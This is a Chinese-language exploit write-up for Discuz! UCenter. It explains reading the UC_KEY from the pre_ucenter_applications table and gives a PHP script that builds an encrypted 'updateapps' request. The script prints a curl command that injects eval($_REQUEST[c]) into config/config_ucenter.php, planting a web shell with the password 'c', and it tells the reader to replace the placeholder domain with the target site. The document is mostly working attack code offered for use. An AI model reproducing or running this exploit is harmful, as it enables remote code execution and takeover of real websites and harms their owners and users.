直接读取数据库 pre_ucenter_applications 下的 authkey 即为UC_KEY。长度为64位。

另存为 dz.php
代码如下
把1.com 改成 dz网站的域名 总共2处

<?php
 
$key = 'nbv0u3zeZ1jd9bB440faAcV6H5e3Ve11V4i300A8c433L4has5i722h3z7w1K3uc';#少年 uc_key 写在这里
$url = 'http://1.com/ucenter';
$arg = 'action=updateapps&time='.time();#拿webshell：http://localhost/config/config_ucenter.php 密码：c
echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">[url=http://1.com/ucenter]http://1.com/ucenter[/url]\');eval(\$_REQUEST[c]);#</item></root>').'"';
#curl或者用其他工具post提交
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
        $ckey_length = 4;
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
        }
        for($a = $j = $i = 0; $i < $string_length; $i++) {
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        if($operation == 'DECODE') {
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
                        return substr($result, 26);
                } else {
                        return '';
                }
        } else {
                return $keyc.str_replace('=', '', base64_encode($result));
        }
}
?>

http://域名/config/config_ucenter.php